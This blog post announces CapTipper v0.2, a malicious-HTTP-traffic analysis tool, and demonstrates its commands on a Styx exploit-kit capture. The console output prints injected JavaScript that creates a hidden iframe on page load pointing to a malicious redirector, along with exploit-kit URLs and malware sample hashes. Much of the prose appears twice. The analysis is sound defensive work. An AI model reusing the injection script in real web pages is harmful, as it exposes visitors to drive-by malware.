CapTipper v0.2 is out, and it includes many new features.
I'm presenting the new version today at BlackHat Arsenal, you are welcome to come watch if you're around.
A basic principle for CapTipper’s development is to gather as many useful tools and functions for a researcher under its umbrella.
This release introduces quite a few of those, which I hope will help us all save time switching different tools and spend it researching.
If you are not familiar with CapTipper I highly recommend(!) you read the analysis example I presented here,
since I am not going to introduce the main usages, rather just the new features.
Whats New
These are the currently supported commands:
HTML & JSON Report
CapTipper now supports producing HTML reports for convenient view and sharing,
and JSON report for post-analysis information gathering by a third party.
An example HTML report of the Nuclear EK PCAP we analyzed in the first post, can be found here: CapTipper HTML Nuclear Report
The HTML report includes full flow details, client information, interesting binary data and more…
The report is expected to expand and include more information along with the development of CapTipper's new abilities.
HTML Report screenshots:
It was very important for me to add this feature, and after spending some time trying to find a file identification library that suits CapTipper's needs (cross-platform, cross-environment, accepts file stream, and does not require too much dependencies), I came up short and decided to write one myself.
It is titled Whatype.
Whatype is an independent file type identification python library.
Check out the GitHub repository here: Whatype.
My initial goal was only to use it as part of CapTipper, so currently it only supports ~50 of the most common and relevant file formats:
Executables, PDF, JAVA, SWF, Silverlight, HTML, ZIP, and more…
The information is displayed both in the `convs’ list and the `info’ command under `MAGIC’:
As I mentioned earlier, I couldn’t find an existing library to suite my needs.
So I would like to use this opportunity to invite the open-source community to contribute to the Whatype project (currently in beta release phase) and help create a broader and more accurate signature base, improve the identification performance and hopefully help serve other developers that encounter the same problem.
PE Info
A basic PE info script.
It's based on the Malware Cookbook PE scanner and displays interesting and suspicious information regarding a binary file.
It also supports using the '-p' argument to identify packers from the PEiD signature database.
Find
The `Find’ command provides regex search (using the Python re library syntax) inside specific/all objects in the PCAP.
This is extremely useful when looking for a string structure, domain, scripts and HTML objects.
To demonstrate, let's take a look at this PCAP file from the Styx Exploit-Kit: 2014-09-28-Styx-EK-traffic.pcap
A redirection is made to rabiorik.ru, but the 'iframes' commands didn't produce any results. (For the sake of this example, let's still assume an iframe is used).
Now let's launch the PCAP again with auto ungzip, and use the 'find' command to look for the TDS in all files:
Here it is.
So why did the 'iframes' command come up empty? That’s because ‘iframes’ statically parses the HTML objects in the file, and in this case the iframe is created during run-time.
We can see the domain is being sent to a function called create_frame in object 0, let's search for it:
So we found the create_frame function decleration, let's take a better look at it, and explore it using the new 'slice' command.
Slice
Slice displays a specified range of bytes (substring) from a file.
Following the previous example, we can examine the "create_frame" javascript function by requesting 256 bytes from its starting position.
'slice' accepts the object-id (0), the offset start (50213) and the length (256):
I also included support for "EOB" (End Of Block) detection.
This will tell 'slice' to display code until the end of the current block we are looking at,
whether it's a class, a function or a statement (based on braces { }).
The "eob" argument is used instead of the length value, e.g:
If we want to be able to read the code more conviently, we can use the 'jsbeautify' command.
JS Beautify
JSBeautify (JavaScript Beautify) reformats the code to be more human-readable, very useful for deep inspection.
It accepts a conversation object and create a new one. (The new object can be dumped to the file system):
It can also accept the 'slice' command introduced in the previous section.
Lets use this tool on the "create_frame" function in the javascript code, combined with the 'slice' command.
Now we can easily understand what the "create_frame" function does and how it works.
Objects
The 'objects' command will display all of CapTipper's internal objects (automatic and user created), with basic description and references.
ID - Object ID
CID - The Conversation ID assosciated with the object
TYPE - Object type created automatically or by the user (body, ungzip, jsbeautify...)
NAME - Name of object given by the PCAP or by CapTipper
More new commands:
strings - Find strings embedded in binary files.
req - Display raw request of a given conversation
ungzip all - Ungzip all objects in PCAP
update - Update CapTipper to current version from GitHub.
clear - Clear the screen
Some refactoring was also done to the project, in order to ease access and allow better usage of CapTipper as a standalone library (not tested yet).
There are many more features to come, any feedback or suggestions are always welcome and much appreciated.
omriher@gmail.com
@omriher
Enjoy!
I'm presenting the new version today at BlackHat Arsenal, you are welcome to come watch if you're around.
A basic principle for CapTipper’s development is to gather as many useful tools and functions for a researcher under its umbrella.
This release introduces quite a few of those, which I hope will help us all save time switching different tools and spend it researching.
If you are not familiar with CapTipper I highly recommend(!) you read the analysis example I presented here,
since I am not going to introduce the main usages, rather just the new features.
CapTipper is a python tool to analyze, explore and revive HTTP malicious traffic.
CapTipper sets up a web server that acts exactly as the server in the PCAP file,
and contains internal tools, with a powerful interactive console, for analysis and inspection of the hosts, objects and conversations found.
The tool provides the security researcher with easy access to the files and the understanding of the network flow,
and is useful when trying to research exploits, pre-conditions, versions, obfuscations, plugins and shellcodes.
CapTipper sets up a web server that acts exactly as the server in the PCAP file,
and contains internal tools, with a powerful interactive console, for analysis and inspection of the hosts, objects and conversations found.
The tool provides the security researcher with easy access to the files and the understanding of the network flow,
and is useful when trying to research exploits, pre-conditions, versions, obfuscations, plugins and shellcodes.
Whats New
Command line argument processing
These are the currently supported commands:
|
optional arguments: -h, --help Show this help message and exit -p PORT, --port PORT Set web server port -d FOLDER PATH, --dump FOLDER PATH Dump all files and exit -s, --server-off Disable web server -short, --short-url Display shortened URI paths -r FOLDER PATH, --report FOLDER PATH Create JSON & HTML report -g, --ungzip Automatically ungzip responses -u, --update Update CapTipper to newest version |
--dump FOLDERPATH Automatically dump all files from the PCAP.This was mainly made for people using Cuckoo Sandbox that want to fetch the HTML files created along with other new files.
I have taken the liberty to write a basic Cuckoo processing module that dumps all files from the PCAP and outputs to the Cuckoo log if an EXE file was found.
It can be found here: CapTipper Cuckoo processing module
I have taken the liberty to write a basic Cuckoo processing module that dumps all files from the PCAP and outputs to the Cuckoo log if an EXE file was found.
It can be found here: CapTipper Cuckoo processing module
--ungzip Automatically ungzip all objects, no need to manually ungzip each object anymore.
The generated web-server still responds with the original response in case it was gzipped.
--short-url On some cases the URI paths were very long, making the console view a bit more difficult to inspect.
This feature displays the URI paths in a shortened convenient version.
--report FOLDERPATH This is a new and exciting feature for creating HTML & JSON reports.
The command will produce both .html and .json files in a given folder.
I will elaborate more on this in the following section.
I will elaborate more on this in the following section.
--update Update CapTipper to the current version available on GitHub.
HTML & JSON Report
CapTipper now supports producing HTML reports for convenient view and sharing,
and JSON report for post-analysis information gathering by a third party.
An example HTML report of the Nuclear EK PCAP we analyzed in the first post, can be found here: CapTipper HTML Nuclear Report
The HTML report includes full flow details, client information, interesting binary data and more…
The report is expected to expand and include more information along with the development of CapTipper's new abilities.
HTML Report screenshots:
File Type Identification
It was very important for me to add this feature, and after spending some time trying to find a file identification library that suits CapTipper's needs (cross-platform, cross-environment, accepts file stream, and does not require too much dependencies), I came up short and decided to write one myself.
It is titled Whatype.
Whatype is an independent file type identification python library.
Check out the GitHub repository here: Whatype.
My initial goal was only to use it as part of CapTipper, so currently it only supports ~50 of the most common and relevant file formats:
Executables, PDF, JAVA, SWF, Silverlight, HTML, ZIP, and more…
The information is displayed both in the `convs’ list and the `info’ command under `MAGIC’:
As I mentioned earlier, I couldn’t find an existing library to suite my needs.
So I would like to use this opportunity to invite the open-source community to contribute to the Whatype project (currently in beta release phase) and help create a broader and more accurate signature base, improve the identification performance and hopefully help serve other developers that encounter the same problem.
PE Info
A basic PE info script.
It's based on the Malware Cookbook PE scanner and displays interesting and suspicious information regarding a binary file.
It also supports using the '-p' argument to identify packers from the PEiD signature database.
|
CT> peinfo 14 Displaying PE info of object 14 (8.exe) [139264 bytes]: Meta-data ================================================================================ Size: 139264 bytes MD5: 67291715c45c4594b8866e90fbf5c7c4 SHA1: a86dcb1d04be68a9f2d2373ee55cbe15fd299452 Date: 0x545A5C51 [Wed Nov 05 17:20:17 2014 UTC] EP: 0x401314 .text 0/3 CRC: Claimed: 0x24dec, Actual: 0x2621d [SUSPICIOUS] Resource entries ================================================================================ Name RVA Size Lang Sublang Type -------------------------------------------------------------------------------- RT_ICON 0x22980 0xea8 LANG_NEUTRAL SUBLANG_NEUTRAL RT_ICON 0x218d8 0x10a8 LANG_NEUTRAL SUBLANG_NEUTRAL RT_ICON 0x21470 0x468 LANG_NEUTRAL SUBLANG_NEUTRAL RT_ICON 0x21108 0x368 LANG_NEUTRAL SUBLANG_NEUTRAL RT_ICON 0x20460 0xca8 LANG_NEUTRAL SUBLANG_NEUTRAL RT_GROUP_ICON 0x20414 0x4c LANG_NEUTRAL SUBLANG_NEUTRAL RT_VERSION 0x201b0 0x264 LANG_ENGLISH SUBLANG_ENGLISH_US Sections ================================================================================ Name VirtAddr VirtSize RawSize Entropy -------------------------------------------------------------------------------- .text 0x1000 0x1b5d8 0x1c000 6.635876 .data 0x1d000 0x2128 0x1000 0.000000 .rsrc 0x20000 0x3828 0x4000 4.580442 Version info ================================================================================ Translation: 0x0409 0x04b0 InternalName: ProV FileVersion: 3.07 CompanyName: VSO Software Comments: All rights reserved ProductName: Filmf\xf6rderanstalten ProductVersion: 3.07 OriginalFilename: ProV.exe |
Find
The `Find’ command provides regex search (using the Python re library syntax) inside specific/all objects in the PCAP.
This is extremely useful when looking for a string structure, domain, scripts and HTML objects.
To demonstrate, let's take a look at this PCAP file from the Styx Exploit-Kit: 2014-09-28-Styx-EK-traffic.pcap
|
$ ./CapTipper.py 2014-09-28-Styx-EK-traffic.pcap --ungzip -short CapTipper v0.2 b08 - Malicious HTTP traffic explorer tool Copyright 2015 Omri Herscovici <omriher@gmail.com> [A] Analyzing PCAP: c:\Research\2014-09-28-Styx-EK-traffic.pcap [+] Traffic Activity Time: Sun, 09/28/14 01:30:59 [+] Conversations Found: [!] Displaying shortened URI paths 0: / -> text/html (0.html) [10.0 KB] (Magic: HTML) 1: /wp-conten...yPhoto.css -> text/css (prettyPhoto.css) [2.7 KB] (Magic: TEXT) 2: /wp-conten...efault.css -> text/css (default.css) [39.0 B] (Magic: TEXT) 3: /wp-conten.../style.css -> text/css (style.css) [9.9 KB] (Magic: TEXT) 4: /wp-conten...50x150.jpg -> image/jpeg (Mississippi-wedding-photographer-Bride-in-field-sully-clemmer-150x150.jpg) [20.5 KB] (Magic: JPG) 5: /wp-conten...50x150.png -> image/png (Vera-Wang-Fall-2014-Fall-pink-coral-circle-large-flower-150x150.png) [43.6 KB] (Magic: PNG) 6: /wp-conten...s/feed.png -> image/png (feed.png) [1.4 KB] (Magic: PNG) 7: /wlkzkir.cgi?default -> text/html (wlkzkir.cgi) [301.0 B] (Magic: HTML) 8: /wp-includ...?ver=1.9.2 -> application/javascript (jquery.ui.effect.min.js) [5.0 KB] (Magic: TEXT) 9: /TbCAgWPudohEQ -> text/html (TbCAgWPudohEQ) [0.0 B] 10: /TbCAgWPud...hEQ/e.html -> text/html (e.html) [11.8 KB] (Magic: HTML) 11: /TbCAgWPud...NDDUG.html -> text/html (qtNDDUG.html) [169.0 B] (Magic: HTML) 12: /TbCAgWPud...AnnQG.html -> text/html (ERAnnQG.html) [4.8 KB] (Magic: HTML) 13: /TbCAgWPud...gBQVI.html -> text/html (gzgBQVI.html) [14.1 KB] (Magic: HTML) 14: /TbCAgWPud.../djIhQ.swf -> application/x-shockwave-flash (djIhQ.swf) [5.1 KB] (Magic: SWF) 15: /TbCAgWPud...2.exe&h;=33 -> application/x-msdownload (loader2.exe) [170.6 KB] (Magic: EXE) [+] Started Web Server on http://localhost:80 [+] Listening to requests... Starting CapTipper Interpreter Type 'open Type 'hosts' to view traffic flow Type 'help' for more options CT> hosts Found Hosts: bridepopmississippi.com (50.63.220.1:80) nbsp; ├-- / [0] ├-- /wp-content/plugins/complete-gallery-manager/css/prettyPhoto.css [1] ├-- /wp-content/themes/wp-clear321/styles/default.css [2] ├-- /wp-content/themes/wp-clear321/style.css [3] ├-- /wp-content/uploads/Mississippi-wedding-photographer-Bride-in-field-sully-clemmer-150x150.jpg [4] ├-- /wp-content/uploads/Vera-Wang-Fall-2014-Fall-pink-coral-circle-large-flower-150x150.png [5] ├-- /wp-content/themes/wp-clear321/images/feed.png [6] └-- /wp-includes/js/jquery/ui/jquery.ui.effect.min.js?ver=1.9.2 [8] rabiorik.ru (188.120.251.39:80) └-- /wlkzkir.cgi?default [7] poolie.vvk49.com (162.244.33.39:80) ├-- /TbCAgWPudohEQ [9] ├-- /TbCAgWPudohEQ/e.html [10] ├-- /TbCAgWPudohEQ/qtNDDUG.html [11] ├-- /TbCAgWPudohEQ/ERAnnQG.html [12] ├-- /TbCAgWPudohEQ/gzgBQVI.html [13] ├-- /TbCAgWPudohEQ/djIhQ.swf [14] └-- /TbCAgWPudohEQ/loader2.exe&h;=33 [15] CT> iframes 0 Searching for iframes in object 0 (0.html)... No Iframes Found CT> |
A redirection is made to rabiorik.ru, but the 'iframes' commands didn't produce any results. (For the sake of this example, let's still assume an iframe is used).
Now let's launch the PCAP again with auto ungzip, and use the 'find' command to look for the TDS in all files:
|
CT> find all rabiorik Searching 'rabiorik' in all objects: 0.html [0]: (777,50587) : t(){create_frame("http://rabiorik.ru/wlkzkir.cgi?default") wlkzkir.cgi [7]: (8,256) : 22 (@RELEASE@) Server at rabiorik.ru Port 80</address></b |
Here it is.
So why did the 'iframes' command come up empty? That’s because ‘iframes’ statically parses the HTML objects in the file, and in this case the iframe is created during run-time.
We can see the domain is being sent to a function called create_frame in object 0, let's search for it:
|
CT> find 0 create_frame Searching 'create_frame' in object 0 (0.html): (777,50213) : xt/javascript'>function create_frame(a){var b=document.getEle (777,50566) : true}}function bdsls4t(){create_frame("http://rabiorik.ru/wlkz |
So we found the create_frame function decleration, let's take a better look at it, and explore it using the new 'slice' command.
Slice
Slice displays a specified range of bytes (substring) from a file.
Following the previous example, we can examine the "create_frame" javascript function by requesting 256 bytes from its starting position.
'slice' accepts the object-id (0), the offset start (50213) and the length (256):
|
CT> slice 0 50213 256 Displaying 256 of bytes from offset 50213 in object 0 (0.html): create_frame(a){var b=document.getElementById('weqe');if(typeof(b)!='undefined'&&b;!=null){} else{var c=document.createElement('iframe');c.id="weqe";c.style.width="0px";c.style.height="0px"; c.style.border="0px";c.frameBorder="0";c.style.display="none";c.setA |
I also included support for "EOB" (End Of Block) detection.
This will tell 'slice' to display code until the end of the current block we are looking at,
whether it's a class, a function or a statement (based on braces { }).
The "eob" argument is used instead of the length value, e.g:
|
CT> slice 0 50213 eob Displaying 334 of bytes from offset 50213 in object 0 (0.html): create_frame(a){var b=document.getElementById('weqe');if(typeof(b)!='undefined'&&b;!=null){} else{var c=document.createElement('iframe');c.id="weqe";c.style.width="0px";c.style.height="0px"; c.style.border="0px";c.frameBorder="0";c.style.display="none";c.setAttribute("frameBorder","0"); document.body.appendChild(c);c.src=a;return true}} |
If we want to be able to read the code more conviently, we can use the 'jsbeautify' command.
JS Beautify
JSBeautify (JavaScript Beautify) reformats the code to be more human-readable, very useful for deep inspection.
It accepts a conversation object and create a new one. (The new object can be dumped to the file system):
|
CT> jsbeautify obj 8 JavaScript Beautify of object 8 (jquery.ui.effect.min.js) successful! New object created: 16 |
It can also accept the 'slice' command introduced in the previous section.
Lets use this tool on the "create_frame" function in the javascript code, combined with the 'slice' command.
|
CT> jsbeautify slice 0 50213 512 create_frame(a) { var b = document.getElementById('weqe'); if (typeof(b) != 'undefined' && b != null) {} else { var c = document.createElement('iframe'); c.id = "weqe"; c.style.width = "0px"; c.style.height = "0px"; c.style.border = "0px"; c.frameBorder = "0"; c.style.display = "none"; c.setAttribute("frameBorder", "0"); document.body.appendChild(c); c.src = a; return true } } function bdsls4t() { create_frame("http://rabiorik.ru/wlkzkir.cgi?default") } try { if (window.attachEvent) { window.attachEvent('onload', bdsls4t) } else { if (window.onload) { var curronload = wi |
Now we can easily understand what the "create_frame" function does and how it works.
Objects
The 'objects' command will display all of CapTipper's internal objects (automatic and user created), with basic description and references.
ID - Object ID
CID - The Conversation ID assosciated with the object
TYPE - Object type created automatically or by the user (body, ungzip, jsbeautify...)
NAME - Name of object given by the PCAP or by CapTipper
|
CT> objects Displaying Objects: ID CID TYPE NAME ---- ----- ----------- -------- 0 | 0 | body | 0.html 1 | 1 | body | prettyPhoto.css 2 | 2 | body | default.css 3 | 3 | body | style.css 4 | 4 | body | Mississippi-wedding-photographer-Bride-in-field-sully-clemmer-150x150.jpg 5 | 5 | body | Vera-Wang-Fall-2014-Fall-pink-coral-circle-large-flower-150x150.png 6 | 6 | body | feed.png 7 | 7 | body | wlkzkir.cgi 8 | 8 | body | jquery.ui.effect.min.js 9 | 9 | body | TbCAgWPudohEQ 10 | 10 | body | e.html 11 | 11 | body | qtNDDUG.html 12 | 12 | body | ERAnnQG.html 13 | 13 | body | gzgBQVI.html 14 | 14 | body | djIhQ.swf 15 | 15 | body | loader2.exe 16 | 0 | ungzip | ungzip-0.html 17 | 1 | ungzip | ungzip-prettyPhoto.css 18 | 3 | ungzip | ungzip-style.css 19 | 8 | ungzip | ungzip-jquery.ui.effect.min.js 20 | 10 | ungzip | ungzip-e.html 21 | 11 | ungzip | ungzip-qtNDDUG.html 22 | 12 | ungzip | ungzip-ERAnnQG.html 23 | 13 | ungzip | ungzip-gzgBQVI.html 24 | 19 | jsbeautify | jsbeautify-ungzip-jquery.ui.effect.min.js |
More new commands:
strings - Find strings embedded in binary files.
req - Display raw request of a given conversation
ungzip all - Ungzip all objects in PCAP
update - Update CapTipper to current version from GitHub.
clear - Clear the screen
Some refactoring was also done to the project, in order to ease access and allow better usage of CapTipper as a standalone library (not tested yet).
There are many more features to come, any feedback or suggestions are always welcome and much appreciated.
omriher@gmail.com
@omriher
Enjoy!
No comments:
Post a Comment